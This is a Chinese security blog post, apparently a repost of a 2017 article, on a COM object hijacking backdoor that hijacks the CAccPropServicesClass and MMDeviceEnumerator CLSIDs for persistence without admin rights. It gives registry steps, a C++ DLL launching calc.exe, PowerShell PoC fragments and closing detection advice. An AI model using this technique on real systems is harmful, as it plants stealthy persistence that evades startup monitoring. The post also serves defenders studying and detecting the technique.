COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

简介: 本文讲的是COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator,在之前的文章《Use CLR to maintain persistence》介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。
本文讲的是 COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator在之前的文章《 Use CLR to maintain persistence 》介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。美中不足的是通过WMI添加环境变量需要重启系统。 

本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限。

注:

本文介绍的方法曾被木马COMpfun使用

0x01 简介

本文将要介绍以下内容:

· 后门思路

· POC编写

· 防御检测

0x02 COM组件

· COM是Component Object Model (组件对象模型)的缩写

· COM组件由DLL和EXE形式发布的可执行代码所组成

· COM与语言,平台无关

· COM组件对应注册表中CLSID下的注册表键值

0x03 后门思路

同使用CLR劫持.Net程序的方法类似,也是通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。

32位系统利用方法:

1、新建文件

在%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}下放入测试dll,重命名为api-ms-win-downlevel-[4char-random]-l1-1-0._dl

重命名为api-ms-win-downlevel-1×86-l1-1-0._dl

如下图

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

2、修改注册表

注册表位置:HKCUSoftwareClassesCLSID

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

Default的键值为测试dll的绝对路径:

C:UsersaAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

3、测试

启动iexplore.exe,触发后门,多次启动calc.exe,最终导致系统死机

启动过程多次调用实例CAccPropServicesClass(),因此导致启动多个calc.exe,最终系统死机

4、优化

可以对dll加一个互斥量,防止重复加载,只启动一次calc.exe

c++代码为:

#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{
    HANDLE hMutex = CreateMutex(NULL, false, "myself");  
    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        CloseHandle(hMutex);
        return 0;  
    }
    return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            if(TestMutex()==0)
                return TRUE;
            WinExec("calc.exe",SW_SHOWNORMAL);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }return TRUE;
}


编译后大小3k,如果多次加载该dll,会因为互斥量导致只加载一次,也就是说只启动一次calc.exe


换用新的dll,再次测试,只启动一次calc.exe,如下图

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

64位系统利用方法:

1、新建文件

在%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}下分别放入32位和64位的测试dll

2、修改注册表

(1)

注册表位置:HKCUSoftwareClassesCLSID

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

Default的键值为64位dll的绝对路径:

C:UsersaAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1×86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

(2)

注册表位置:HKCUSoftwareClassesWow6432NodeCLSID

创建项{BCDE0395-E52F-467C-8E3D-C4579291692E}

创建子项InprocServer32

Default的键值为32位dll路径:

C:UsersaAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

3、测试

分别启动32位和64位的iexplore.exe,均可触发后门,启动一次calc.exe

测试成功


0x04 POC编写

POC开发需要注意的细节:

1、操作默认不一定包含文件夹

需要先判断文件夹%APPDATA%MicrosoftInstaller 
如果没有,在%APPDATA%Microsoft下创建文件夹Installer

if((Test-Path %APPDATA%MicrosoftInstaller) -eq 0)
{
    Write-Host "[+] Create Folder:  $env:APPDATAMicrosoftInstaller"
    new-item -path $env:APPDATAMicrosoft -name Installer -type directory
}

2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}

由于包含特殊字符{},需要双引号包含路径

if((Test-Path "%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
    Write-Host "[+] Create Folder:  $env:APPDATAMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}"
    new-item -path $env:APPDATAMicrosoftInstaller -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}

3、创建payload文件

首先判断操作系统

if ([Environment]::Is64BitOperatingSystem)
{
        Write-Host "[+] OS: x64"       
}
else
{
        Write-Host "[+] OS: x86"
}

不同系统释放不同文件


4、创建注册表

修改注册表默认值,如下图

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

在powershell下,需要使用特殊变量"(default)"

eg:

$RegPath="HKCU:SoftwareClassesCLSID"
New-ItemProperty $RegPath"{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}InprocServer32" "(default)" -value $env:APPDATA"MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl" -propertyType string | Out-Null


0x05 防御检测

结合利用方法,注意监控以下位置:

1、注册表键值

HKCUSoftwareClassesCLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCUSoftwareClassesWow6432NodeCLSID{BCDE0395-E52F-467C-8E3D-C4579291692E }

2、文件路径

%APPDATA%RoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}

命名方式:api-ms-win-downlevel-[4char-random]-l1-1-0._dl

0x06 小结

本文介绍了通过COM Object hijacking实现的后门利用方法,使用powershell脚本编写POC,分享POC开发中需要注意的细节,结合实际利用过程分析该后门的防御方法。




原文发布时间为:2017年8月28日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
Web App开发 安全 .NET
COM Object hijacking后门的实现思路——劫持explorer.exe
本文讲的是COM Object hijacking后门的实现思路——劫持explorer.exe,在之前的文章介绍了两种利用COM对象劫持实现的后门,利用思路有一些区别:
1641 0
|
28天前
|
存储 Java 程序员
Java基础的灵魂——Object类方法详解(社招面试不踩坑)
本文介绍了Java中`Object`类的几个重要方法,包括`toString`、`equals`、`hashCode`、`finalize`、`clone`、`getClass`、`notify`和`wait`。这些方法是面试中的常考点,掌握它们有助于理解Java对象的行为和实现多线程编程。作者通过具体示例和应用场景,详细解析了每个方法的作用和重写技巧,帮助读者更好地应对面试和技术开发。
83 4
|
2月前
|
Java
Java Object 类详解
在 Java 中,`Object` 类是所有类的根类,每个 Java 类都直接或间接继承自 `Object`。作为所有类的超类,`Object` 定义了若干基本方法,如 `equals`、`hashCode`、`toString` 等,这些方法在所有对象中均可使用。通过重写这些方法,可以实现基于内容的比较、生成有意义的字符串表示以及确保哈希码的一致性。此外,`Object` 还提供了 `clone`、`getClass`、`notify`、`notifyAll` 和 `wait` 等方法,支持对象克隆、反射机制及线程同步。理解和重写这些方法有助于提升 Java 代码的可读性和可维护性。
|
7月前
|
Java
Java Object 类
5月更文挑战第16天
|
4月前
|
Java
【Java基础面试二十】、介绍一下Object类中的方法
这篇文章介绍了Java中Object类的常用方法,包括`getClass()`、`equals()`、`hashCode()`、`toString()`、`wait()`、`notify()`、`notifyAll()`和`clone()`,并提到了不推荐使用的`finalize()`方法。
【Java基础面试二十】、介绍一下Object类中的方法
|
3月前
|
Python
类与面向对象编程(Object-Oriented Programming, OOP)
类与面向对象编程(Object-Oriented Programming, OOP)
23 0
|
4月前
|
前端开发 Java 编译器
【前端学java】java中的Object类和前端中的Object有什么区别(9)
【8月更文挑战第10天】java中的Object类和前端中的Object有什么区别
46 0
【前端学java】java中的Object类和前端中的Object有什么区别(9)
|
4月前
|
算法 Java
12 Java常用类(一)(内部类+object类+包装类)
12 Java常用类(一)(内部类+object类+包装类)
41 5
|
5月前
|
Java
Java中的Object类 ( 详解toString方法 | equals方法 )
Java中的Object类 ( 详解toString方法 | equals方法 )
|
7月前
|
存储 算法 Java
滚雪球学Java(42):探索对象的奥秘:解析Java中的Object类
【5月更文挑战第17天】🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
56 2
滚雪球学Java(42):探索对象的奥秘:解析Java中的Object类